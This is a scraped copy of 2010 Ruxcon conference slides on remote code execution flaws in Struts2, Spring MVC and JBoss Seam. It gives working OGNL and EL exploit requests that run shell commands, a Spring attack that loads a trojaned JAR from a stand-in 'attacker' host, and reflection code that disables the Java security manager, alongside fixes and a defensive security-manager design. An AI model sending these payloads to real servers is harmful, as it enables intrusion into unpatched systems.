13.07.2015 Views

view.getClass().forName('java.lang.Runtime'). - 2010 - Ruxcon

view.getClass().forName('java.lang.Runtime'). - 2010 - Ruxcon

view.getClass().forName('java.lang.Runtime'). - 2010 - Ruxcon

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Milking a horseorexecuting remote code inmodern Java frameworksMeder Kydyraliev, <strong>Ruxcon</strong> <strong>2010</strong>blog.o0o.nuThursday, November 25, <strong>2010</strong>


...if you thought that neitherwas possible, you were wrongThursday, November 25, <strong>2010</strong>


kumys is a fermented dairy producttraditionally made from mare’s milk bynomads of Central asiaThursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>http://en.wikipedia.org/wiki/File:Mare_milking_Suusamyr.jpg CC-BY-SA


Thursday, November 25, <strong>2010</strong>...back to security


Evolution of web frameworksThursday, November 25, <strong>2010</strong>


Plain old servletpublic class MyServlet extends HttpServlet {public void doGet (HttpServletRequest req,HttpServletResponse res)throws ServletException, IOException {PrintWriter out = res.getWriter();String name = req.getParameter("name");out.println("Hello, " + name + ". How are you?");out.close();}}Thursday, November 25, <strong>2010</strong>


Separation of controller and <strong>view</strong>}public void doGet (HttpServletRequest req,HttpServletResponse res)throws ServletException, IOException {int userId = Integer.parseInt(req.getParameter("uid"));User user = lookupUser(userId);req.setAttribute("user", user);hello.jsp:...Hello, . How are you?Thursday, November 25, <strong>2010</strong>


Problemsa lot of verbose boilerplate codetype conversion (including lists, arrays, etc)input validationobject creation (calling setters/getters manually)early frameworks/libraries asked to extend classes andimplement interfaceslots of XML configuration filesThursday, November 25, <strong>2010</strong>


Hey, let us take care of theboilerplate code. You write POJOs, wedo the rest.Thursday, November 25, <strong>2010</strong>


user code complexityframework code complexityThursday, November 25, <strong>2010</strong>


AOPStrutsJSPEJBJMX RichfacesJSFJAXSeamGuiceJSTLORMOSGiWebWorkJCABeansHibernateXworkJMSPagelets OXMDWRGroovyFaceletsThursday, November 25, <strong>2010</strong>


How secure are these Java frameworks?Thursday, November 25, <strong>2010</strong>


Previous vulnerabilitiesStruts/Xworkbunch of XSS bugsdirectory traversal (CVE-2008-6505)command execution through input validation (CVE-2007-4556)Spring frameworkremote regexp DoS (CVE-2009-1190)Thursday, November 25, <strong>2010</strong>


ApproachUse IDE (e.g. IntelliJ IDEA) for easier navigationDependency injectionDebugging: breakpoints, stepping, etcUse sample apps provided with frameworkEnsures better coverageTook about 5 man-days to find and exploit each bugThursday, November 25, <strong>2010</strong>


Look at how frameworkimplements its magicThursday, November 25, <strong>2010</strong>


Look at how frameworkimplements its magicThursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>Apache Struts2


Nifty featuresRich taglibrary (e.g. AJAXy tags):OGNL:Tags:HTTP parameters:user.address.city = BishkekThursday, November 25, <strong>2010</strong>


Nifty featuresuser.address.city = Bishkek#session.user.usernameThursday, November 25, <strong>2010</strong>


Nifty featuresuser.address.city = Bishkek#session.user.usernameaction.getUser().getAddress().setCity(“Bishkek”)ActionContext.getContext().getSession().get(“username”)Thursday, November 25, <strong>2010</strong>


OGNL(Object Graph Navigation Language)ANTLR-based parserFeatures:Properties setting/getting:foo.bar=baz becomes action.getFoo().setBar(“baz”)Method calling:foo() and @java.<strong>lang</strong>.System@exit(1)Constructor calling: new MyClass()Ability to save arbitrary objects in OGNL context:#foo = new MyClass()Thursday, November 25, <strong>2010</strong>


HTTP parameters == OGNL statementsWhat prevents attacker from doing the following?http://victim/foo?@java.<strong>lang</strong>.System@exit(1)=mehThursday, November 25, <strong>2010</strong>


HTTP parameters == OGNL statementsWhat prevents attacker from doing the following?http://victim/foo?@java.<strong>lang</strong>.System@exit(1)=mehMethod execution is guarded by:OgnlContext‘s propertyxwork.MethodAccessor.denyMethodExecutionSecurityMemberAccess private fieldallowStaticMethodAccessThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870Based on my previous bug: XW-641# denotes references to variables in OGNLSpecial OGNL variables:#application#session#root#request#parameters#attrParametersInterceptor blacklists # to prevent tamperingwith server-side dataThursday, November 25, <strong>2010</strong>


XW-641('\u0023' + 'session[\'user\']')(unused)=0wn3dThursday, November 25, <strong>2010</strong>


XW-641('\u0023' + 'session[\'user\']')(unused)=0wn3dThursday, November 25, <strong>2010</strong>


XW-641('\u0023' + 'session[\'user\']')(unused)=0wn3d#session['user']=0wn3dThursday, November 25, <strong>2010</strong>


XW-641('\u0023' + 'session[\'user\']')(unused)=0wn3d#session['user']=0wn3dActionContext.getContext().getSession().put(“user”, “0wn3d”)Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>XW-641 fix was to clear the value stack


CVE-<strong>2010</strong>-1870There are actually more special variables available:#context#_memberAccess#root#this#_typeResolver#_classResolver#_traceEvaluations#_lastEvaluation#_keepLastEvaluationThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870#context- OgnlContext, the one guarding method executionusing xwork.MethodAccessor.denyMethodExecutionproperty#_memberAccess- SecurityMemberAccess guardingmethod execution with allowStaticAccess private fieldThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870#context[‘xwork.MethodAccessor.denyMethodExecution’] = false#_memberAccess[‘allowStatcMemberAccess’] = trueThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploitThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit#_memberAccess[‘allowStaticMethodAccess’] = trueThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit#_memberAccess[‘allowStaticMethodAccess’] = true#foo = new java.<strong>lang</strong>.Boolean(“false”)Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit#_memberAccess[‘allowStaticMethodAccess’] = true#foo = new java.<strong>lang</strong>.Boolean(“false”)#context[‘xwork.MethodAccessor.denyMethodExecution’] = #fooThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit#_memberAccess[‘allowStaticMethodAccess’] = true#foo = new java.<strong>lang</strong>.Boolean(“false”)#context[‘xwork.MethodAccessor.denyMethodExecution’] = #foo#rt = @java.<strong>lang</strong>.Runtime@getRuntime()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit#_memberAccess[‘allowStaticMethodAccess’] = true#foo = new java.<strong>lang</strong>.Boolean(“false”)#context[‘xwork.MethodAccessor.denyMethodExecution’] = #foo#rt = @java.<strong>lang</strong>.Runtime@getRuntime()#rt.exec(“touch /tmp/KUMYS”, null)Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 exploit/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.<strong>lang</strong>.Boolean("false")))&(ssss)((\u0023rt\u003d@java.<strong>lang</strong>.Runtime@getRuntime())(\u0023rt.exec('mkdir\u0020/tmp/PWNED'\u002cnull)))=1Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1870 fix2.2.1 fixes vulnerability (~3 months)Work around is either:whitelist A-z0-9_[].’use “params” interceptor’s excludeParams parameterto blacklist:\u ( )Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>Spring MVC


SpringSpring MVC is Spring’s web frameworkuses Java Beans API (java.beans.*)A lot of components (AOP, etc)Thursday, November 25, <strong>2010</strong>


java.beans.IntrospectorFollowing API return bean information about specifiedclass (properties, setter/getter methods, etc):BeanInfo getBeanInfo(Class beanClass);BeanInfo getBeanInfo(Class beanClass,Class stopClass);Thursday, November 25, <strong>2010</strong>


BeanInfo getBeanInfo(Class beanClass);HTTP parameters: firstName=Tavis&lastName=Ormandyclass Person {private String firstName;private String lastName;public String getFirstName();public String getLastName();}public void setFirstName(String);public void setLastName(String);Thursday, November 25, <strong>2010</strong>


Introspector.getBeanInfo(Person);firstNamelastNameThursday, November 25, <strong>2010</strong>


Introspector.getBeanInfo(Person);firstNamelastNameclassThursday, November 25, <strong>2010</strong>


Introspector.getBeanInfo(Person);firstNamelastNameclassPerson.classObject.classThursday, November 25, <strong>2010</strong>


Introspector.getBeanInfo(Person);firstNamelastNameclassclassLoaderjarPathantiJARLockingworkDirURLs[0] = file:///www/WEB-INF/lib[1] = file:///www/tomcat/libThursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1622Incorrect usage of Beans API exposesorg.apache.catalina.loader.WebAppClassloader’sURL paths:class.classLoader.URLs[0]=file:///tmp/Overridden path isn’t used to resolve classesBut Jasper (Apache’s JSP engine) uses overridenpaths to resolve JSP tag libraries (TLD)Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1622Two problems:How do we execute code using TLD file?How do we suppy attacker controlled TLD remotely?Thursday, November 25, <strong>2010</strong>


Executing code via TLDTLD file defines which classes handle custom tags:Instead of classes it’s possible to specify tag files:input/META-INF/tags/InputTag.tagThursday, November 25, <strong>2010</strong>


InputTag.tagThursday, November 25, <strong>2010</strong>


How do we supply TLD andtag files remotely?Jasper uses java.net.URL to scan JARsjava.net.URL automatically handles remote JAR URLs:jar:http://attacker/spring-form.jar!/Tag files are retrieved from the same JAR!!!Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1622 exploitDownload org.springframework.web.servlet-X.X.X.RELEASE.jarEdit spring-form.tld and add tag file definitions for all tags. Example for tag:input/META-INF/tags/InputTag.tagCreate corresponding tag files, e.g. InputTag.tag:Bundle everything back into spring-form.jar and put it up onlineSubmit POST request to a form controller with the following parameter:class.classLoader.URLs[0]=jar:http://attacker/spring-form.jar!/Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1622 fixProper fix is to use Introspector API correctly andspecify the stop class:Introspector.getBeanInfo(Person.class, Object.class);Other projects may be vulnerable to this bug too.Spring disallows access to class.classLoaderFixed in the following versions:Spring Framework 3.0.3/2.5.6.SEC02/2.5.7.SR01Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>JBoss Seam


Java Reflection 1011: String strInstance = "HITB KUL <strong>2010</strong>";2: Class clz = Class.<strong>forName</strong>("java.<strong>lang</strong>.String");3: Method lenMethod = clz.getDeclaredMethod("length",new Class[] {});4: int strlen = (Integer) lenMethod.invoke(strInstance,new Object[] {});Thursday, November 25, <strong>2010</strong>


JBoss SeamCombines EJB3 with JSFPOJOs + annotationsJBoss Unified Expression LanguageThursday, November 25, <strong>2010</strong>


JBoss ELFormat: #{expression}Supports method calling: #{object.method()}Various predefined variables: request, session, etc.Container indexing support: #{foo()[123]}Projection (iteration): #{company.departments.{d|d.name}}Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871Special HTTP parameter controlled where browsershould be redirected after an action (actionOutcome)If supplied URL started with / and contained HTTPparameters all JBoss EL expressions in parametervalues are executed:#{expr}Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871Special HTTP parameter controlled where browsershould be redirected after an action (actionOutcome)If supplied URL started with / and contained HTTPparameters all JBoss EL expressions in parametervalues are executed:%23{expr}Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871Special HTTP parameter controlled where browsershould be redirected after an action (actionOutcome)If supplied URL started with / and contained HTTPparameters all JBoss EL expressions in parametervalues are executed:pwned%3d%23{expr}Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871Special HTTP parameter controlled where browsershould be redirected after an action (actionOutcome)If supplied URL started with / and contained HTTPparameters all JBoss EL expressions in parametervalues are executed:/seam?actionOutcome=/p.xhtml%3fpwned%3d%23{expr}Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploitHow to execute OS commands via JBoss EL?can’t reference java.<strong>lang</strong>.Runtime directly, sinceresolvers won’t know how to resolve ‘java’Reflection!!!Every Object has Class <strong>getClass</strong>()And Class has Class <strong>forName</strong>(String), whichreturns class based on supplied name:<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>)Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>)Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>)java.<strong>lang</strong>.reflect.Method[].getDeclaredMethods()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>)java.<strong>lang</strong>.reflect.Method[] .getDeclaredMethods() [19]Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>.<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>)java.<strong>lang</strong>.reflect.Method[] .getDeclaredMethods() [19].invoke()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploitTo call java.<strong>lang</strong>.Runtime.exec() we need to:obtain java.<strong>lang</strong>.Runtime reference via staticreflection call to Runtime.getRuntime(), by finding itsindex in the array returned byClass.getDeclaredMethods()pass the above reference to Runtime.exec()reflection call, which we also invoke by its indexThursday, November 25, <strong>2010</strong>


How do we get method’s index?/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19]}Thursday, November 25, <strong>2010</strong>


How do we get method’s index?/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19]}/seam-booking/pwn.xhtml?pwned=public+java.<strong>lang</strong>.Process+java.<strong>lang</strong>.Runtime.exec(java.<strong>lang</strong>.String)+throws+java.io.IOException&cid=21Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19].invoke(<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[7].invoke(null),'mkdir /tmp/PWNED')Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploitMethod for Runtime.exec(String)<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19].invoke(<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[7].invoke(null),'mkdir /tmp/PWNED')Method for Runtime.getRuntime()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploitMethod for Runtime.exec(String)<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19].invoke(<strong>view</strong>.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[7].invoke(null),'mkdir /tmp/PWNED')Method for Runtime.getRuntime()Thursday, November 25, <strong>2010</strong>


CVE-<strong>2010</strong>-1871 exploit/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[19].invoke(expressions.<strong>getClass</strong>().<strong>forName</strong>(<strong>'java</strong>.<strong>lang</strong>.<strong>Runtime'</strong>).getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>Demo


Thursday, November 25, <strong>2010</strong>


complexJava web frameworks areand are boundto have morebugsThursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>


But Java hopethere’s Security ManagerThursday, November 25, <strong>2010</strong>


What’s Java security manager?Singleton with a bunch of checkXXX() methodsVarious classes in JRE (e.g. File, Socket, etc) have acheck similar to the following:SecurityManager security = System.getSecurityManager();if (security != null) {security.checkXXX(argument, ...);}Thursday, November 25, <strong>2010</strong>


java.<strong>lang</strong>.ProcessBuilder...SecurityManager security = System.getSecurityManager();if (security != null)security.checkExec(prog);...Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>Are you using Java security manager?


Are you using Java security manager?207NoYesThursday, November 25, <strong>2010</strong>


Why is nobody’s using it?Thursday, November 25, <strong>2010</strong>


ProblemsOriginally designed to run untrusted code, not preventvulnerabilitiesPerformance. Security manager calls happen on:getting class loader, creating class loadercalling setAccessible() or getting declared members (used by reflection)getting system properties, env varsgetting java.util.logging.LoggerPermissions are assigned based on paths or entitiesthat signed JARsThursday, November 25, <strong>2010</strong>


Problems (cont.)Support for privileged blockscode with higher permissions can use doPrivilegedAPI to grant it’s permissions to the callersSami Koivu’s bugsThursday, November 25, <strong>2010</strong>


How do we solve these?Create a custom Java security manager, which:will NOT care about classloaders, reflection* and propertieswill NOT care about doPrivileged blocks, protectiondomains or code sourceswill care about:file access (read, write, exec)socket accessgetDeclaredField/setAccessible* reflection callswill support per class permissions by examining stackThursday, November 25, <strong>2010</strong>


How do we solve these?*Thursday, November 25, <strong>2010</strong>


Reflection*Reflection can be used to disable any securitymanager:Field security = System.class.getDeclaredField("security");security.setAccessible(true);security.set(null, null);Thursday, November 25, <strong>2010</strong>


ProsWill address some of the performance concernsWill be more flexible in permission assignment (perclass permissions)Will be able to detect and prevent seriousvulnerabilities:Path traversal bugsCommand execution bugsExternam XML entity inclusion bugsThursday, November 25, <strong>2010</strong>


ConsWill not prevent custom application code abuse:BankTransacation t = new BankTransaction();t.setAccFrom(“123”);t.setAccTo(“Attacker’s account”):t.setAmount(1000000);t.commit()Policy will have to grant privileges to JRE files (which istransparent otherwise due to doPrivileged blocks)Thursday, November 25, <strong>2010</strong>


Where’s the code?Alpha version will be released at:http://code.google.com/p/manas-java-security/Thursday, November 25, <strong>2010</strong>


Ideas for youJava web frameworks have been ignored for a longtimeCurrent support for bytecode instrumentation(BCI) viaJava agents (ClassFileTransformer API) shouldlet youimplement dynamic taint propagationinstrument String to always return true for indexOf(),contains(), etc methods to find magic charactersThursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>


Thursday, November 25, <strong>2010</strong>?

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!